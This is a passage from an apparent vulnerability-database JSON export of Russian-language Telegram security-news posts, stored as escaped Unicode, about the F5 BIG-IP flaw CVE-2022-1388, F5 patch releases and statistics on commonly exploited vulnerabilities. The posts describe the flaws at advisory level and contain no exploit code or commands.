\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c.\n\n\u0422\u0430\u043a, \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2022-1388 \u0432 F5 BIG-IP \u0431\u044b\u043b\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0430 4 \u043c\u0430\u044f 2022 \u0433\u043e\u0434\u0430, \u0438, \u043f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Unit 42, \u0441\u043f\u0443\u0441\u0442\u044f \u0434\u0435\u0441\u044f\u0442\u044c \u0447\u0430\u0441\u043e\u0432 \u0441 \u043c\u043e\u043c\u0435\u043d\u0442\u0430 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0438\u044f, \u0431\u044b\u043b\u043e \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043e 2552 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0435 Palo Alto, \u0441\u0440\u0435\u0434\u0438 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0441\u0435\u0442\u0438 \u0432 \u043f\u0435\u0440\u0432\u043e\u043c \u043f\u043e\u043b\u0443\u0433\u043e\u0434\u0438\u0438 2022\u00a0\u0433\u043e\u0434\u0430 \u0440\u0435\u0441\u0435\u0440\u0447\u0435\u0440\u044b \u0432\u044b\u0434\u0435\u043b\u0438\u043b\u0438 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 ProxyShell (CVE-2021-34473, CVE-2021-34523 \u0438 CVE-2021-31207), \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0434\u043e 55% \u043e\u0442 \u043e\u0431\u0449\u0435\u0433\u043e \u0447\u0438\u0441\u043b\u0430 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u043e\u0432.\u00a0\n\n\u041d\u0430 \u0432\u0442\u043e\u0440\u043e\u043c \u043c\u0435\u0441\u0442\u0435 \u0437\u0430\u043a\u0440\u0435\u043f\u0438\u043b\u0441\u044f Log4Shell \u0441 14%, \u0434\u0430\u043b\u0435\u0435 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 CVE SonicWall \u2014 7%, ProxyLogon \u2014 5%, \u0430 RCE \u0432\u00a0Zoho ManageEngine ADSelfService Plus \u0431\u044b\u043b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d \u0432 3% \u0441\u043b\u0443\u0447\u0430\u0435\u0432.\n\n\u041a\u0430\u043a \u0432\u0438\u0434\u043d\u043e \u0438\u0437 \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438, \u043b\u044c\u0432\u0438\u043d\u0430\u044f \u0434\u043e\u043b\u044f \u0432 \u043e\u0431\u044a\u0435\u043c\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u043d\u0435 \u0441\u0430\u043c\u044b\u0435 \u0441\u0432\u0435\u0436\u0438\u0435, \u0430 \u0443\u0436\u0435 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 CVE, \u0447\u0442\u043e \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u043c \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u0438 \u0430\u0442\u0430\u043a\u0438, \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0438 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438.\n\n\u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0438 \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0435 \u0436\u0435\u0440\u0442\u0432\u044b \u0430\u0442\u0430\u043a\u0443\u044e\u0442\u0441\u044f \u0447\u0430\u0449\u0435 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c 0-day \u0438\u043b\u0438 \u0441\u0432\u0435\u0436\u0435\u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u043c\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Unit 42, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u041f\u041e \u0434\u043b\u044f \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0441\u0435\u0442\u0438 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u043e\u0434\u043d\u0443 \u0442\u0440\u0435\u0442\u044c \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438 \u0432\u0441\u0435\u0445 \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u0439.\n\n\u0412 37% \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u0444\u0438\u0448\u0438\u043d\u0433 \u0431\u044b\u043b \u043f\u0440\u0435\u0434\u043f\u043e\u0447\u0442\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u043c \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430.\u00a0\u0412 15% \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u0445\u0430\u043a\u0435\u0440\u044b \u043f\u0440\u043e\u043d\u0438\u043a\u0430\u043b\u0438 \u0432 \u0441\u0435\u0442\u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043f\u0435\u0440\u0435\u0431\u043e\u0440\u0430 \u0438\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u0421\u043e\u0446\u0438\u0430\u043b\u044c\u043d\u0430\u044f \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u0438\u044f \u0438\u043b\u0438 \u043f\u043e\u0434\u043a\u0443\u043f \u0438\u043d\u0441\u0430\u0439\u0434\u0435\u0440\u0430 \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0441\u0435\u0442\u0438 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 10% \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u043e\u0432.\n\n\u0412\u044b\u0432\u043e\u0434\u044b \u0434\u0435\u043b\u0430\u0439\u0442\u0435 \u0441\u0430\u043c\u0438: \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0430 \u0432\u0435\u0441\u044c\u043c\u0430 \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430.", "creation_timestamp": "2022-07-27T13:35:05.000000Z"}, {"uuid": "43f7714a-8377-4aeb-95db-8d78edadc4e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "https://t.me/true_secator/3592", "content": "F5 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0435\u0436\u0435\u043a\u0432\u0430\u0440\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, \u0438\u043d\u0444\u043e\u0440\u043c\u0438\u0440\u0443\u044f \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043e\u0431 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0438 18 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0445 \u0435\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b.\n\n\u0414\u0435\u0441\u044f\u0442\u0438\u00a0\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u00a0\u0431\u044b\u043b \u043f\u0440\u0438\u0441\u0432\u043e\u0435\u043d \u0440\u0435\u0439\u0442\u0438\u043d\u0433 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438.\n\n\u041e\u0434\u043d\u043e\u0439 \u0438\u0437 \u043d\u0438\u0445 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044b\u0435 \u0432 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u043c \u0440\u0435\u0436\u0438\u043c\u0435 \u0438\u043b\u0438 \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0438\u043c\u0435\u0435\u0442 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u043e\u0446\u0435\u043d\u043a\u0443, \u0435\u0441\u043b\u0438 \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d \u0440\u0435\u0436\u0438\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0431\u0430\u0433\u0443 \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u043a\u043e\u043c\u0430\u043d\u0434, \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432 \u0438\u043b\u0438 \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u0441\u043b\u0443\u0436\u0431.\n\n\u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0434\u0440\u0443\u0433\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 \u043c\u043e\u0433\u0443\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443, \u043d\u0435 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0435\u043c\u0443 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438, \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0430\u0442\u0430\u043a\u0443 \u0442\u0438\u043f\u0430 DoS.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0442\u0440\u0438 \u0438\u0437 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 \u043c\u043e\u0434\u0443\u043b\u044f\u043c\u0438 NGINX \u0438 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u0435 \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 NGINX.\n\n\u0420\u0435\u0439\u0442\u0438\u043d\u0433 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 \u0442\u0430\u043a\u0436\u0435 \u0431\u044b\u043b \u043f\u0440\u0438\u0441\u0432\u043e\u0435\u043d \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 F5OS, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439.\n\n\u0421\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0435\u0436\u0435\u043a\u0432\u0430\u0440\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f F5 \u0437\u0430\u043f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u043d\u0430 1 \u0444\u0435\u0432\u0440\u0430\u043b\u044f 2023 \u0433\u043e\u0434\u0430. \u0412 \u0434\u0432\u0443\u0445 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0445 \u0435\u0436\u0435\u043a\u0432\u0430\u0440\u0442\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f\u0445, \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u043d\u044b\u0445 \u0432 \u043c\u0430\u0435 \u0438 \u0430\u0432\u0433\u0443\u0441\u0442\u0435, \u0441\u043e\u043e\u0431\u0449\u0430\u043b\u043e\u0441\u044c \u043e 50 \u0438 21 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c BIG-IP \u043d\u0435 \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0438\u0433\u043d\u043e\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u044b \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b.\n\n\u0421\u0430\u043c\u044b\u043c \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u043c \u043f\u0440\u0438\u043c\u0435\u0440\u043e\u043c \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f CVE-2022-1388, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u0433\u043e\u0434\u0430 \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u043b\u0430\u0441\u044c \u043c\u0430\u0441\u0441\u043e\u0432\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438, \u0438 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0445\u0430\u043a\u0435\u0440\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0435\u0435 \u0434\u043b\u044f\u00a0\u0432\u044b\u0432\u043e\u0434\u0430 \u0438\u0437 \u0441\u0442\u0440\u043e\u044f \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 BIG-IP.", "creation_timestamp": "2022-10-21T13:46:39.000000Z"}, {"uuid": "21196e8d-9ead-490c-a90f-e3d6a73c190e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/true_secator/2914", "content": "\u034fF5 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b \u0435\u0436\u0435\u043a\u0432\u0430\u0440\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0435 \u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043f\u0440\u043e\u0438\u043d\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043e \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c 50 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445.\n\n\u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2022-1388 \u0438\u043c\u0435\u0435\u0442 \u0440\u0435\u0439\u0442\u0438\u043d\u0433 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 CVSS v3 9,8 \u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443, \u043d\u0435 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0435\u043c\u0443 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438, \u0441 \u0441\u0435\u0442\u0435\u0432\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u0444\u0430\u0439\u043b\u0430\u043c\u0438 \u0438 \u043e\u0442\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u0441\u043b\u0443\u0436\u0431\u044b \u0432 BIG-IP, \u0442\u043e \u0435\u0441\u0442\u044c \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043f\u043e\u043b\u043d\u043e\u043c\u0443 \u0437\u0430\u0445\u0432\u0430\u0442\u0443 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u043a\u0440\u043e\u0435\u0442\u0441\u044f \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 iControl REST \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0441\u043a\u0440\u044b\u0442\u044b\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 iControl REST \u0432 BIG-IP. \u041f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u0435\u043b\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0442\u0430\u043a\u0436\u0435 \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442, \u0447\u0442\u043e CVE-2022-1388\u00a0\u043d\u0435 \u0432\u043b\u0438\u044f\u0435\u0442 \u043d\u0430 \u0446\u0435\u043d\u0442\u0440\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 BIG-IQ, F5OS-A, F5OS-C \u0438 Traffic SDC.\n\n\u0418\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0442\u0440\u0435\u043c \u0431\u044b\u043b\u0438 \u043f\u0440\u0438\u0441\u0432\u043e\u0435\u043d\u044b \u0431\u0430\u043b\u043b\u044b CVSS \u043e\u0442 8 \u0434\u043e 9. \u0414\u0432\u0435 \u0438\u0437 \u043d\u0438\u0445, CVE-2022-25946 \u0438 CVE-2022-27806, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0435 \u0432 \u00ab\u0440\u0435\u0436\u0438\u043c\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u00bb, \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443, \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0435\u043c\u0443 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438, \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0439, \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u044b\u0445 \u0434\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0440\u0435\u0436\u0438\u043c\u0430.\n\n\u0422\u0440\u0435\u0442\u044c\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430, CVE-2022-28707, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u0435\u0436\u0441\u0430\u0439\u0442\u043e\u0432\u043e\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0438\u043d\u0433\u0430 (XSS), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 JavaScript \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c, \u0438\u043c\u0435\u044e\u0449\u0438\u043c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0441 \u00ab\u0433\u043e\u0441\u0442\u0435\u0432\u044b\u043c\u0438\u00bb \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438.\n\n\u0414\u0440\u0443\u0433\u0438\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, DoS-\u0430\u0442\u0430\u043a, XSS-\u0430\u0442\u0430\u043a, \u043e\u0431\u0445\u043e\u0434\u0430 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u043a\u043e\u043c\u0430\u043d\u0434.\u00a0\u041c\u043d\u043e\u0433\u0438\u0435 DoS-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 